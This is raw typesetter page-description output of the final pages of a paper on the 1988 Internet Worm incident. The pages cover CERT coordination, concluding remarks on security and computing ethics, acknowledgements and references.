2645(chartered)S
3050(to)S
3164(deal)S
3366(with)S
3580(just)S
3761(any)S
3941(Internet)S
4287(emergency.)S
4815(Thus,)S
6456 V
720(problems)S
1129(detected)S
1498(in)S
1613(the)S
1772(CSnet,)S
2078(Bitnet,)S
2384(NSFnet,)S
2751(and)S
2931(other)S
3172(Internet)S
3518(communities)S
4071(may)S
4279(not)S
4443(be)S
4573(referable)S
4962(to)S
6576 V
720(the)S
874(CERT.)S
1217(I)S
1282(was)S
1470(told)S
1659(it)S
1748(is)S
1848(the)S
2003(hope)S
2230(of)S
2346(CERT)S
2635(personnel)S
3056(that)S
3239(these)S
3477(other)S
3715(networks)S
4114(will)S
4303(develop)S
4652(their)S
4868(own)S
6696 V
720(CERT-like)S
1195(groups.)S
1558(This,)S
1797(of)S
1916(course,)S
2237(may)S
2445(make)S
2697(it)S
2789(di)S
2867 H
	(f)show 10 -.5 mul h (\256)show
10 R
2951(cult)S
3136(to)S
3249(coordinate)S
3705(e)S
3749 H
	(f)show 10 -.5 mul h (f)show
10 R
3810(ective)S
4083(action)S
4362(and)S
4541(communica-)S
6816 V
720(tion)S
906(during)S
1197(the)S
1349(next)S
1551(threat.)S
1863(It)S
1954(may)S
2156(even)S
2374(introduce)S
2781(rivalry)S
3078(in)S
3187(the)S
3340(development)S
3887(and)S
4062(dissemination)S
4649(of)S
4763(critical)S
6936 V
720(information.)S
1278(The)S
1464(e)S
1508 H
	(f)show 10 -.5 mul h (f)show
10 R
1569(ectiveness)S
2010(of)S
2124(this)S
2300(organization)S
2830(against)S
3144(the)S
3297(next)S
3500(Internet-wide)S
4067(crisis)S
4308(will)S
4494(be)S
4618(interesting)S
7036 V
8 Y1
720(333333333333333333)S
7154 V
8 R
820(*)S
900(Personal)S
1198(communication,)S
1737(M.)S
1852(Poepping)S
2178(of)S
2268(the)S
2389(CERT.)S
7920 V
EP
%%Page: 16 17
BP
/slant 0 def
/height 1.000000 def
8 R
8 R
480 V
10 R
2767(- 16 -)S
840 V
720(to)S
828(note.)S
1080 V
10 B
720(6.)S
855(Concluding)S
1381(Remarks)S
1236 V
10 R
970(Not)S
1155(all)S
1320(the)S
1477(consequences)S
2060(of)S
2178(the)S
2335(Internet)S
2680(Worm)S
2970(incident)S
3327(are)S
3483(yet)S
3640(known;)S
3976(they)S
4184(may)S
4392(never)S
4649(be.)S
4834(Most)S
1356 V
720(likely)S
984(there)S
1219(will)S
1411(be)S
1541(changes)S
1898(in)S
2012(security)S
2364(consciousness)S
2966(for)S
3118(at)S
3226(least)S
3445(a)S
3525(short)S
3761(while.)S
4074(There)S
4342(may)S
4549(also)S
4745(be)S
4874(new)S
1476 V
720(laws,)S
965(and)S
1146(new)S
1349(regulations)S
1830(from)S
2061(the)S
2220(agencies)S
2600(governing)S
3042(access)S
3333(to)S
3449(the)S
3609(Internet.)S
4012(Vendors)S
4388(may)S
4598(change)S
4918(the)S
1596 V
720(way)S
927(they)S
1140(test)S
1320(and)S
1504(market)S
1821(their)S
2044(products\320and)S
2672(not)S
2840(all)S
2980(the)S
3142(possible)S
3510(changes)S
3871(may)S
4083(be)S
4217(advantageous)S
4800(to)S
4918(the)S
1716 V
720(end-user)S
1098(\(e.g.,)S
1335(removing)S
1753(the)S
1910(machine/host)S
2478(equivalence)S
2989(feature)S
3301(for)S
3453(remote)S
3766(execution\).)S
4278(Users')S
4574(interactions)S
1836 V
720(with)S
931(their)S
1147(systems)S
1497(may)S
1702(change)S
2017(based)S
2277(on)S
2410(a)S
2487(heightened)S
2958(awareness)S
3400(of)S
3516(security)S
3865(risks.)S
4142(It)S
4236(is)S
4336(also)S
4530(possible)S
4890(that)S
1956 V
720(no)S
859(signi\256cant)S
1315(change)S
1637(will)S
1833(occur)S
2094(anywhere.)S
2576(The)S
2771(\256nal)S
2989(bene\256t)S
3301(or)S
3424(harm)S
3669(of)S
3792(the)S
3954(incident)S
4316(will)S
4512(only)S
4730(become)S
2076 V
720(clear)S
943(with)S
1151(the)S
1303(passage)S
1643(of)S
1756(time.)S
2232 V
970(It)S
1067(is)S
1170(important)S
1595(to)S
1709(note)S
1917(that)S
2103(the)S
2261(nature)S
2546(of)S
2665(both)S
2879(the)S
3037(Internet)S
3383(and)S
3563(U)S
8 R
3635(NIX)S
10 R
3813(helped)S
4115(to)S
4229(defeat)S
4508(the)S
4666(Worm)S
4957(as)S
2352 V
720(well)S
936(as)S
1063(spread)S
1367(it.)S
1522(The)S
1721(immediacy)S
2209(of)S
2336(communication,)S
3026(the)S
3191(ability)S
3490(to)S
3611(copy)S
3848(source)S
4151(and)S
4338(binary)S
4636(\256les)S
4846(from)S
2472 V
720(machine)S
1107(to)S
1234(machine,)S
1646(and)S
1839(the)S
2010(widespread)S
2513(availability)S
3012(of)S
3144(both)S
3372(source)S
3682(and)S
3876(expertise)S
4286(allowed)S
4652(personnel)S
2592 V
720(throughout)S
1192(the)S
1347(country)S
1685(to)S
1795(work)S
2032(together)S
2391(to)S
2501(solve)S
2744(the)S
2898(infection,)S
3310(even)S
3530(despite)S
3845(the)S
3999(widespread)S
4485(disconnection)S
2712 V
720(of)S
834(parts)S
1059(of)S
1173(the)S
1326(network.)S
1709(Although)S
2118(the)S
2271(immediate)S
2724(reaction)S
3076(of)S
3190(some)S
3432(people)S
3730(might)S
3996(be)S
4122(to)S
4232(restrict)S
4541(communica-)S
2832 V
720(tion)S
921(or)S
1049(promote)S
1427(a)S
1516(diversity)S
1911(of)S
2039(incompatible)S
2606(software)S
2994(options)S
3334(to)S
3457(prevent)S
3800(a)S
3888(recurrence)S
4351(of)S
4478(a)S
4566(Worm,)S
4890(that)S
2952 V
720(would)S
1012(be)S
1148(an)S
1284(inappropriate)S
1858(reaction.)S
2276(Increasing)S
2733(the)S
2897(obstacles)S
3305(to)S
3425(open)S
3661(communication)S
4325(or)S
4450(decreasing)S
4918(the)S
3072 V
720(number)S
1057(of)S
1172(people)S
1470(with)S
1680(access)S
1966(to)S
2075(in-depth)S
2439(information)S
2942(will)S
3129(not)S
3288(prevent)S
3618(a)S
3693(determined)S
4173(attacker\320it)S
4675(will)S
4862(only)S
3192 V
720(decrease)S
1101(the)S
1262(pool)S
1479(of)S
1601(expertise)S
2000(and)S
2183(resources)S
2598(available)S
2997(to)S
3114(\256ght)S
3337(such)S
3559(an)S
3692(attack.)S
4024(Further,)S
4383(such)S
4606(an)S
4740(attitude)S
3312 V
720(would)S
1009(be)S
1142(contrary)S
1513(to)S
1630(the)S
1791(whole)S
2074(purpose)S
2429(of)S
2551(having)S
2861(an)S
2993(open,)S
3250(research-oriented)S
3979(network.)S
4399(The)S
4592(Worm)S
4885(was)S
3432 V
720(caused)S
1025(by)S
1159(a)S
1237(breakdown)S
1715(of)S
1833(ethics)S
2101(as)S
2219(well)S
2426(as)S
2544(lapses)S
2823(in)S
2936(security\320a)S
3431(purely)S
3721(technological)S
4294(attempt)S
4629(at)S
4736(preven-)S
3552 V
720(tion)S
906(will)S
1092(not)S
1250(address)S
1579(the)S
1731(full)S
1900(problem,)S
2288(and)S
2462(may)S
2664(just)S
2839(cause)S
3090(new)S
3286(di)S
3364 H
	(f)show 10 -.5 mul h (\256)show
10 R
3448(culties.)S
3708 V
970(What)S
1227(we)S
1384(learn)S
1624(from)S
1859(this)S
2045(about)S
2308(securing)S
2687(our)S
2862(systems)S
3221(will)S
3419(help)S
3633(determine)S
4074(if)S
4177(this)S
4364(is)S
4473(the)S
4637(only)S
4857(such)S
3828 V
720(incident)S
1079(we)S
1232(ever)S
1439(need)S
1663(to)S
1777(analyze.)S
2172(This)S
2386(attack)S
2660(should)S
2963(also)S
3160(point)S
3402(out)S
3566(that)S
3752(we)S
3904(need)S
4128(a)S
4208(better)S
4471(mechanism)S
4962(in)S
3948 V
720(place)S
980(to)S
1108(coordinate)S
1579(information)S
2101(about)S
2374(security)S
2741(\257aws)S
3003(and)S
3198(attacks.)S
3581(The)S
3787(response)S
4187(to)S
4316(this)S
4512(incident)S
4885(was)S
4068 V
720(largely)S
1029(ad)S
1155(hoc,)S
1356(and)S
1532(resulted)S
1880(in)S
1990(both)S
2200(duplication)S
2682(of)S
2797(e)S
2841 H
	(f)show 10 -.5 mul h (f)show
10 R
2902(ort)S
3045(and)S
3221(a)S
3296(failure)S
3587(to)S
3696(disseminate)S
4199(valuable)S
4568(information)S
4188 V
720(to)S
835(sites)S
1050(that)S
1237(needed)S
1556(it.)S
1705(Many)S
1976(site)S
2153(administrators)S
2763(discovered)S
3233(the)S
3393(problem)S
3764(from)S
3996(reading)S
4333(the)S
4493(newspaper)S
4957(or)S
4308 V
720(watching)S
1124(the)S
1284(television.)S
1766(The)S
1959(major)S
2230(sources)S
2567(of)S
2688(information)S
3198(for)S
3351(many)S
3610(of)S
3730(the)S
3889(sites)S
4104(a)S
4148 H
	(f)show 10 -.5 mul h (f)show
10 R
4209(ected)S
4456(seems)S
4737(to)S
4852(have)S
4428 V
720(been)S
965(Usenet)S
1299(news)S
1561(groups)S
1890(and)S
2091(a)S
2192(mailing)S
2555(list)S
2735(I)S
2825(put)S
3010(together)S
3394(when)S
3667(the)S
3846(Worm)S
4158(was)S
4370(\256rst)S
4583(discovered.)S
4548 V
720(Although)S
1131(useful,)S
1433(these)S
1671(methods)S
2043(did)S
2204(not)S
2365(ensure)S
2658(timely,)S
2971(widespread)S
3457(dissemination)S
4045(of)S
4160(useful)S
4436(information)S
4940(\320)S
4668 V
720(especially)S
1159(since)S
1405(many)S
1668(of)S
1792(them)S
2033(depended)S
2456(on)S
2597(the)S
2760(Internet)S
3111(to)S
3230(work!)S
3539(Over)S
3779(three)S
4019(weeks)S
4309(after)S
4532(this)S
4718(incident)S
4788 V
720(some)S
963(sites)S
1173(were)S
1398(still)S
1581(not)S
1741(reconnected)S
2254(to)S
2364(the)S
2518(Internet)S
2859(because)S
3205(of)S
3319(doubts)S
3617(about)S
3870(the)S
4023(security)S
4370(of)S
4484(their)S
4698(systems.)S
4908 V
720(The)S
914(Worm)S
1208(has)S
1380(shown)S
1680(us)S
1808(that)S
1997(we)S
2152(are)S
2312(all)S
2451(a)S
2495 H
	(f)show 10 -.5 mul h (f)show
10 R
2556(ected)S
2805(by)S
2944(events)S
3238(in)S
3355(our)S
3527(shared)S
3826(environment,)S
4395(and)S
4578(we)S
4734(need)S
4962(to)S
5028 V
720(develop)S
1084(better)S
1359(information)S
1878(methods)S
2264(outside)S
2600(the)S
2769(network)S
3143(before)S
3444(the)S
3613(next)S
3832(crisis.)S
4145(The)S
4347(formation)S
4788(of)S
4918(the)S
5148 V
720(CERT)S
1006(may)S
1208(be)S
1332(a)S
1406(step)S
1597(in)S
1705(the)S
1857(right)S
2076(direction,)S
2486(but)S
2644(a)S
2718(more)S
2953(general)S
3276(solution)S
3629(is)S
3726(still)S
3907(needed.)S
5304 V
970(Finally,)S
1311(this)S
1489(whole)S
1766(episode)S
2104(should)S
2404(cause)S
2658(us)S
2780(to)S
2891(think)S
3130(about)S
3385(the)S
3540(ethics)S
3806(and)S
3983(laws)S
4199(concerning)S
4675(access)S
4962(to)S
5424 V
720(computers.)S
1228(Since)S
1487(the)S
1646(technology)S
2127(we)S
2280(use)S
2450(has)S
2620(developed)S
3066(so)S
3191(quickly,)S
3552(it)S
3644(is)S
3747(not)S
3911(always)S
4224(simple)S
4527(to)S
4641(determine)S
5544 V
720(where)S
1008(the)S
1175(proper)S
1480(boundaries)S
1963(of)S
2092(moral)S
2371(action)S
2661(may)S
2879(be.)S
3074(Some)S
3348(senior)S
3638(computer)S
4061(professionals)S
4634(may)S
4852(have)S
5664 V
720(started)S
1021(their)S
1239(careers)S
1554(years)S
1798(ago)S
1976(by)S
2110(breaking)S
2493(into)S
2683(computer)S
3094(systems)S
3445(at)S
3551(their)S
3768(colleges)S
4129(and)S
4307(places)S
4590(of)S
4707(employ-)S
5784 V
720(ment)S
950(to)S
1058(demonstrate)S
1577(their)S
1791(expertise)S
2182(and)S
2357(knowledge)S
2826(of)S
2940(the)S
3093(inner)S
3329(workings)S
3732(of)S
3846(the)S
3999(systems.)S
4402(However,)S
4823(times)S
5904 V
720(have)S
940(changed)S
1304(and)S
1480(mastery)S
1828(of)S
1943(computer)S
2351(science)S
2675(and)S
2850(computer)S
3258(engineering)S
3760(now)S
3963(involves)S
4333(a)S
4408(great)S
4638(deal)S
4835(more)S
6024 V
720(than)S
929(can)S
1104(be)S
1235(shown)S
1533(by)S
1670(using)S
1924(intimate)S
2289(knowledge)S
2764(of)S
2884(the)S
3044(\257aws)S
3293(in)S
3409(a)S
3491(particular)S
3911(operating)S
4326(system.)S
4697(Whether)S
6144 V
720(such)S
938(actions)S
1256(were)S
1484(appropriate)S
1973(\256fteen)S
2263(years)S
2508(ago)S
2687(is,)S
2814(in)S
2927(some)S
3173(senses,)S
3488(unimportant.)S
4067(I)S
4135(believe)S
4458(it)S
4549(is)S
4651(critical)S
4962(to)S
6264 V
720(realize)S
1021(that)S
1207(such)S
1426(behavior)S
1811(is)S
1914(clearly)S
2221(inappropriate)S
2789(now.)S
3082(Entire)S
3362(businesses)S
3820(are)S
3978(now)S
4187(dependent,)S
4659(wisely)S
4957(or)S
6384 V
720(not,)S
911(on)S
1049(computer)S
1463(systems.)S
1872(People's)S
2253(money,)S
2587(careers,)S
2930(and)S
3111(possibly)S
3482(even)S
3707(their)S
3927(lives)S
4153(may)S
4362(be)S
4493(dependent)S
4940(on)S
6504 V
720(the)S
874(undisturbed)S
1378(functioning)S
1871(of)S
1986(computers.)S
2489(As)S
2632(a)S
2708(society,)S
3048(we)S
3196(cannot)S
3495(a)S
3539 H
	(f)show 10 -.5 mul h (f)show
10 R
3600(ord)S
3766(the)S
3921(consequences)S
4502(of)S
4618(condoning)S
6624 V
720(or)S
835(encouraging)S
1360(reckless)S
1713(or)S
1828(ill-considered)S
2409(behavior)S
2790(that)S
2972(threatens)S
3364(or)S
3479(damages)S
3860(computer)S
4268(systems,)S
4641(especially)S
6744 V
720(by)S
867(individuals)S
1360(who)S
1580(do)S
1728(not)S
1904(understand)S
2390(the)S
2560(consequences)S
3156(of)S
3287(their)S
3518(actions.)S
3904(As)S
4063(professionals,)S
4663(computer)S
6864 V
720(scientists)S
1127(and)S
1311(computer)S
1728(engineers)S
2150(cannot)S
2455(a)S
2499 H
	(f)show 10 -.5 mul h (f)show
10 R
2560(ord)S
2732(to)S
2849(tolerate)S
3187(the)S
3348(romanticization)S
4014(of)S
4136(computer)S
4552(vandals)S
4896(and)S
6984 V
720(computer)S
1140(criminals,)S
1580(and)S
1767(we)S
1926(must)S
2164(take)S
2373(the)S
2539(lead)S
2749(by)S
2893(setting)S
3204(proper)S
3508(examples.)S
3984(Let)S
4161(us)S
4294(hope)S
4532(there)S
4775(are)S
4940(no)S
7104 V
720(further)S
1021(incidents)S
1412(to)S
1520(underscore)S
1987(this)S
2162(particular)S
2574(lesson.)S
7920 V
EP
%%Page: 17 18
BP
/slant 0 def
/height 1.000000 def
10 R
10 R
480 V
2767(- 17 -)S
840 V
10 B
720(Acknowledgements)S
996 V
10 R
970(Early)S
1223(versions)S
1594(of)S
1715(this)S
1898(paper)S
2157(were)S
2388(carefully)S
2780(read)S
2989(and)S
3171(commented)S
3675(on)S
3813(by)S
3951(Keith)S
4211(Bostic,)S
4530(Steve)S
4790(Bello-)S
1116 V
720(vin,)S
903(Kathleen)S
1293(Heaphy,)S
1658(and)S
1832(Thomas)S
2184(Narten.)S
2540(I)S
2603(am)S
2755(grateful)S
3095(for)S
3241(their)S
3454(suggestions)S
3951(and)S
4125(criticisms.)S
1356 V
10 B
720(References)S
1548 V
10 R
720(1.)S
970(Participants,)S
10 I
1516(P)S
8 I
1577(ROCEEDINGS)S
10 I
2121(O)S
8 I
2193(F)S
10 I
2291(T)S
8 I
2347(HE)S
10 I
2503(V)S
8 I
2564(IRUS)S
10 I
2787(P)S
8 I
2848(OST)S
10 I
2991(-M)S
8 I
3107(ORTEM)S
10 I
3424(M)S
8 I
3507(EETING)S
10 R
3788(,)S
3863(National)S
4257(Computer)S
4707(Security)S
1668 V
970(Center,)S
1291(Ft.)S
1430(George)S
1753(Meade,)S
2079(MD,)S
2295(8)S
2375(November)S
2826(1988.)S
1824 V
720(2.)S
970(Sta)S
1098 H
	(f)show 10 -.5 mul h (f)show
10 R
1159(,)S
1214(``Uncle)S
1548(Sam's)S
1828(Anti-Virus)S
2291(Corps,'')S
10 I
2651(U)S
8 I
2723(NIX)S
10 I
2882(T)S
8 I
2938(ODAY)S
10 I
3148(!)S
10 R
3181(,)S
3236(p.)S
3341(10,)S
3496(Jan)S
3659(23,)S
3814(1989.)S
1980 V
720(3.)S
970(Allman,)S
1338(Eric,)S
10 I
1572(Sendmail\320An)S
2187(Internetwork)S
2746(Mail)S
2978(Router,)S
10 R
3319(University)S
3785(of)S
3912(California,)S
4386(Berkeley,)S
4815(1983.)S
2100 V
970(Issued)S
1255(with)S
1463(the)S
1615(BSD)S
1840(U)S
8 R
1912(NIX)S
10 R
2084(documentation)S
2708(set.)S
2256 V
720(4.)S
970(Bishop,)S
1315(Matt,)S
1565(``An)S
1789(Application)S
2297(of)S
2416(a)S
2496(Fast)S
2700(Data)S
2925(Encryption)S
3406(Standard)S
3798(Implementation,'')S
10 I
4559(C)S
8 I
4626(OMPUTING)S
2376 V
10 I
970(S)S
8 I
1020(YSTEMS)S
10 I
1305(:)S
1369(T)S
8 I
1425(HE)S
10 I
1563(J)S
8 I
1607(OURNAL)S
10 I
1951(O)S
8 I
2023(F)S
10 I
2103(T)S
8 I
2159(HE)S
10 I
2297(U)S
8 I
2369(SENIX)S
10 I
2618(A)S
8 I
2679(SSOCIATION)S
10 R
3129(,)S
3184(vol.)S
3367(1,)S
3472(no.)S
3627(3,)S
3732(pp.)S
3887(221-254,)S
4275(University)S
4727(of)S
4840(Cali-)S
2496 V
970(fornia)S
1238(Press,)S
1504(Summer)S
1873(1988.)S
2652 V
720(5.)S
970(Brunner,)S
1352(John,)S
10 I
1596(The)S
1776(Shockwave)S
2249(Rider,)S
10 R
2526(Harper)S
2832(&)S
2940(Row,)S
3184(1975.)S
2808 V
720(6.)S
970(Cohen,)S
1288(Fred,)S
1528(``Computer)S
2026(Viruses:)S
2391(Theory)S
2711(and)S
2887(Experiments,'')S
10 I
3515(P)S
8 I
3576(ROCEEDINGS)S
10 I
4103(O)S
8 I
4175(F)S
10 I
4256(T)S
8 I
4312(HE)S
10 I
4451(7T)S
8 I
4557(H)S
10 I
4647(N)S
8 I
4714(ATIONAL)S
2928 V
10 I
970(C)S
8 I
1037(OMPUTER)S
10 I
1441(S)S
8 I
1491(ECURITY)S
10 I
1847(C)S
8 I
1914(ONFERENCE)S
10 R
2379(,)S
2434(pp.)S
2589(240-263,)S
2977(1984.)S
3084 V
720(7.)S
970(Comer,)S
1301(Douglas)S
1668(E.,)S
10 I
1813(Internetworking)S
2492(with)S
2700(TCP/IP:)S
3074(Principles,)S
3545(Protocols)S
3969(and)S
4154(Architecture,)S
10 R
4713(Prentice)S
3204 V
970(Hall,)S
1197(Englewood)S
1682(Cli)S
1805 H
	(f)show 10 -.5 mul h (f)show
10 R
1866(s,)S
1960(NJ,)S
2126(1988.)S
3360 V
720(8.)S
970(Denning,)S
1369(Peter,)S
1629(``The)S
1880(Internet)S
2220(Worm,'')S
10 I
2596(A)S
8 I
2657(MERICAN)S
10 I
3034(S)S
8 I
3084(CIENTIST)S
10 R
3423(,)S
3478(vol.)S
3661(77,)S
3816(no.)S
3971(2,)S
4076(March-April)S
4610(1989.)S
3516 V
720(9.)S
970(Denning,)S
1390(Peter)S
1646(J.,)S
1786(``Computer)S
2303(Viruses,'')S
10 I
2750(A)S
8 I
2811(MERICAN)S
10 I
3209(S)S
8 I
3259(CIENTIST)S
10 R
3598(,)S
3674(vol.)S
3878(76,)S
4054(pp.)S
4231(236-238,)S
4641(May-June)S
3636 V
970(1988.)S
3792 V
720(10.)S
970(Eichin,)S
1286(Mark)S
1532(W.)S
1681(and)S
1855(Jon)S
2025(A.)S
2153(Rochlis,)S
2515(``With)S
2812(Microscope)S
3314(and)S
3489(Tweezers:)S
3929(An)S
4082(Analysis)S
4463(of)S
4577(the)S
4730(Internet)S
3912 V
970(Virus)S
1241(of)S
1373(November)S
1843(1988,'')S
10 I
2183(P)S
8 I
2244(ROCEEDINGS)S
10 I
2788(O)S
8 I
2860(F)S
10 I
2958(T)S
8 I
3014(HE)S
10 I
3170(S)S
8 I
3220(YMPOSIUM)S
10 I
3677(O)S
8 I
3749(N)S
10 I
3851(R)S
8 I
3912(ESEARCH)S
10 I
4308(I)S
8 I
4341(N)S
10 I
4443(S)S
8 I
4493(ECURITY)S
10 I
4867(A)S
8 I
4928(ND)S
4032 V
10 I
970(P)S
8 I
1031(RIVACY)S
10 R
1303(,)S
1358(IEEE-CS,)S
1785(Oakland,)S
2178(CA,)S
2372(May)S
2585(1989.)S
4188 V
720(11.)S
970(Eisenberg,)S
1424(Ted,)S
1634(David)S
1908(Gries,)S
2179(Juris)S
2398(Hartmanis,)S
2869(Dan)S
3066(Holcomb,)S
3494(M.)S
3639(Stuart)S
3909(Lynn,)S
4176(and)S
4351(Thomas)S
4704(Santoro,)S
4308 V
10 I
970(The)S
1150(Computer)S
1580(Worm,)S
10 R
1879(O)S
1951 H
	(f)show 10 -.5 mul h (\256)show
10 R
2035(ce)S
2153(of)S
2266(the)S
2418(Provost,)S
2779(Cornell)S
3109(University,)S
3586(Ithaca,)S
3884(NY,)S
4083(Feb.)S
4288(1989.)S
4464 V
720(12.)S
970(Gerrold,)S
1335(David,)S
10 I
1634(When)S
1891(Harlie)S
2182(Was)S
2384(One,)S
10 R
2605(Ballentine)S
3046(Books,)S
3357(1972.)S
3642(The)S
10 B
3827(\256rst)S
10 R
4029(edition.)S
4620 V
720(13.)S
970(Grampp,)S
1355(Fred.)S
1596(T.)S
1716(and)S
1894(Robert)S
2200(H.)S
2331(Morris,)S
2662(``U)S
8 R
2800(NIX)S
10 R
2976(Operating)S
3409(System)S
3738(Security,'')S
10 I
4196(A)S
8 I
4257(T)S
10 I
4302(&T)S
4470(B)S
8 I
4531(ELL)S
10 I
4704(L)S
8 I
4760(ABORA-)S
4740 V
970(TORIES)S
10 I
1267(T)S
8 I
1323(ECHNICAL)S
10 I
1742(J)S
8 I
1786(OURNAL)S
10 R
2099(,)S
2154(vol.)S
2337(63,)S
2492(no.)S
2647(8,)S
2752(part)S
2937(2,)S
3042(pp.)S
3197(1649-1672,)S
3685(Oct.)S
3884(1984.)S
4896 V
720(14.)S
970(Harrenstien,)S
1490(K.,)S
1642(``Name/Finger,'')S
2356(R)S
8 R
2423(FC)S
10 R
2552(742,)S
2757(SRI)S
2943(Network)S
3322(Information)S
3829(Center,)S
4150(December)S
4589(1977.)S
5052 V
720(15.)S
970(Hinden,)S
1335(R.,)S
1498(J.)S
1608(Haverty,)S
2000(and)S
2190(A.)S
2333(Sheltzer,)S
2731(``The)S
2998(DARPA)S
3384(Internet:)S
3769(Interconnecting)S
4442(Heterogeneous)S
5172 V
970(Computer)S
1411(Networks)S
1840(with)S
2059(Gateways,'')S
10 I
2583(C)S
8 I
2650(OMPUTER)S
10 I
3064(M)S
8 I
3147(AGAZINE)S
10 R
3477(,)S
3542(vol.)S
3735(16,)S
3900(no.)S
4065(9,)S
4180(pp.)S
4345(38-48,)S
4643(IEEE-CS,)S
5292 V
970(September)S
1427(1983.)S
5448 V
720(16.)S
970(King,)S
1226(Kenneth)S
1595(M.,)S
1765(``Overreaction)S
2382(to)S
2492(External)S
2862(Attacks)S
3199(on)S
3331(Computer)S
3763(Systems)S
4129(Could)S
4406(be)S
4532(More)S
4780(Harm-)S
5568 V
970(ful)S
1131(than)S
1353(the)S
1525(Viruses)S
1880(Themselves,'')S
10 I
2498(C)S
8 I
2565(HRONICLE)S
10 I
3007(O)S
8 I
3079(F)S
10 I
3177(H)S
8 I
3249(IGHER)S
10 I
3538(E)S
8 I
3599(DUCATION)S
10 R
4001(,)S
4075(p.)S
4199(A36,)S
4445(November)S
4915(23,)S
5688 V
970(1988.)S
5844 V
720(17.)S
970(Kocher,)S
1320(Bryan,)S
1621(``A)S
1791(Hygiene)S
2161(Lesson,'')S
10 I
2567(C)S
8 I
2634(OMMUNICATIONS)S
10 I
3320(O)S
8 I
3392(F)S
10 I
3473(T)S
8 I
3529(HE)S
10 I
3668(A)S
8 I
3729(CM)S
10 R
3849(,)S
3906(vol.)S
4091(32,)S
4248(no.)S
4406(1,)S
4514(p.)S
4622(3,)S
4730(January)S
5964 V
970(1989.)S
6120 V
720(18.)S
970(Markho)S
1286 H
	(f)show 10 -.5 mul h (f)show
10 R
1347(,)S
1412(John,)S
1666(``Author)S
2055(of)S
2178(Computer)S
2618('Virus')S
2946(Is)S
3058(Son)S
3254(of)S
3377(U.)S
3514(S.)S
3635(Electronic)S
4086(Security)S
4460(Expert,'')S
10 I
4858(N)S
8 I
4925(EW)S
6240 V
10 I
970(Y)S
8 I
1026(ORK)S
10 I
1217(T)S
8 I
1273(IMES)S
10 R
1454(,)S
1509(p.)S
1614(A1,)S
1791(November)S
2242(5,)S
2347(1988.)S
6396 V
720(19.)S
970(Morris,)S
1307(Robert)S
1619(and)S
1803(Ken)S
2009(Thompson,)S
2502(``U)S
8 R
2640(NIX)S
10 R
2822(Password)S
3245(Security,'')S
10 I
3709(C)S
8 I
3776(OMMUNICATIONS)S
10 I
4470(O)S
8 I
4542(F)S
10 I
4631(T)S
8 I
4687(HE)S
10 I
4834(A)S
8 I
4895(CM)S
10 R
5015(,)S
6516 V
970(vol.)S
1153(22,)S
1308(no.)S
1463(11,)S
1618(pp.)S
1773(594-597,)S
2161(ACM,)S
2444(November)S
2895(1979.)S
6672 V
720(20.)S
970(Postel,)S
1274(Jonathan)S
1663(B.,)S
1814(``Simple)S
2198(Mail)S
2421(Transfer)S
2792(Protocol,'')S
3256(R)S
8 R
3323(FC)S
10 R
3456(821,)S
3665(SRI)S
3855(Network)S
4238(Information)S
4749(Center,)S
6792 V
970(August)S
1289(1982.)S
6948 V
720(21.)S
970(Reid,)S
1216(Brian,)S
1495(``Re\257ections)S
2043(on)S
2175(Some)S
2435(Recent)S
2744(Widespread)S
3253(Computer)S
3686(Breakins,'')S
10 I
4165(C)S
8 I
4232(OMMUNICATIONS)S
10 I
4919(O)S
8 I
4991(F)S
7068 V
10 I
970(T)S
8 I
1026(HE)S
10 I
1163(A)S
8 I
1224(CM)S
10 R
1344(,)S
1399(vol.)S
1582(30,)S
1737(no.)S
1892(2,)S
1997(pp.)S
2152(103-105,)S
2540(ACM,)S
2823(February)S
3213(1987.)S
7920 V
EP
%%Page: 18 19
BP
/slant 0 def
/height 1.000000 def
10 R
10 R
480 V
2767(- 18 -)S
840 V
720(22.)S
970(Ritchie,)S
1323(Dennis)S
1645(M.,)S
1823(``On)S
2050(the)S
2211(Security)S
2583(of)S
2705(U)S
8 R
2777(NIX)S
10 R
2919(,'')S
3049(in)S
10 I
3166(U)S
8 I
3238(NIX)S
10 I
3406(S)S
8 I
3456(UPPLEMENTARY)S
10 I
4102(D)S
8 I
4174(OCUMENTS)S
10 R
4598(,)S
4663(AT)S
4836(&)S
4954(T,)S
960 V
970(1979.)S
1116 V
720(23.)S
970(Royko,)S
1292(Mike,)S
1558(``Here's)S
1919(how)S
2121(to)S
2229(stop)S
2426(computer)S
2833(vandals,'')S
10 I
3259(T)S
8 I
3315(HE)S
10 I
3452(C)S
8 I
3519(HICAGO)S
10 I
3852(T)S
8 I
3908(RIBUNE)S
10 R
4193(,)S
4248(November)S
4699(7,)S
4804(1988.)S
1272 V
720(24.)S
970(Seeley,)S
1312(Donn,)S
1610(``A)S
1799(Tour)S
2044(of)S
2178(the)S
2352(Worm,'')S
10 I
2750(P)S
8 I
2811(ROCEEDINGS)S
10 I
3358(O)S
8 I
3430(F)S
10 I
3531(1989)S
3783(W)S
8 I
3866(INTER)S
10 I
4141(U)S
8 I
4213(SENIX)S
10 I
4483(C)S
8 I
4550(ONFERENCE)S
10 R
5015(,)S
1392 V
970(Usenix)S
1283(Association,)S
1810(San)S
1990(Diego,)S
2289(CA,)S
2483(February)S
2873(1989.)S
1548 V
720(25.)S
970(Shoch,)S
1285(John)S
1514(F.)S
1635(and)S
1819(Jon)S
1998(A.)S
2135(Hupp,)S
2422(``The)S
2683(Worm)S
2978(Programs)S
3401(\320)S
3541(Early)S
3797(Experience)S
4286(with)S
4505(a)S
4590(Distributed)S
1668 V
970(Computation,'')S
10 I
1614(C)S
8 I
1681(OMMUNICATIONS)S
10 I
2365(O)S
8 I
2437(F)S
10 I
2516(T)S
8 I
2572(HE)S
10 I
2709(A)S
8 I
2770(CM)S
10 R
2890(,)S
2945(vol.)S
3128(25,)S
3283(no.)S
3438(3,)S
3543(pp.)S
3698(172-180,)S
4086(ACM,)S
4369(March)S
4659(1982.)S
1824 V
720(26.)S
970(Spa)S
1120 H
	(f)show 10 -.5 mul h (f)show
10 R
1181(ord,)S
1382(Eugene)S
1724(H.,)S
1889(``The)S
2154(Internet)S
2508(Worm)S
2807(Program:)S
3223(An)S
3389(Analysis,'')S
10 I
3874(C)S
8 I
3941(OMPUTER)S
10 I
4359(C)S
8 I
4426(OMMUNICATION)S
1944 V
10 I
970(R)S
8 I
1031(EVIEW)S
10 R
1270(,)S
1331(vol.)S
1520(19,)S
1681(no.)S
1842(1,)S
1953(ACM)S
2217(SIGCOM,)S
2667(January)S
3013(1989.)S
3304(Also)S
3528(issued)S
3813(as)S
3931(Purdue)S
4249(CS)S
4407(technical)S
4802(report)S
2064 V
970(TR-CSD-823)S
2220 V
720(27.)S
970(Spa)S
1120 H
	(f)show 10 -.5 mul h (f)show
10 R
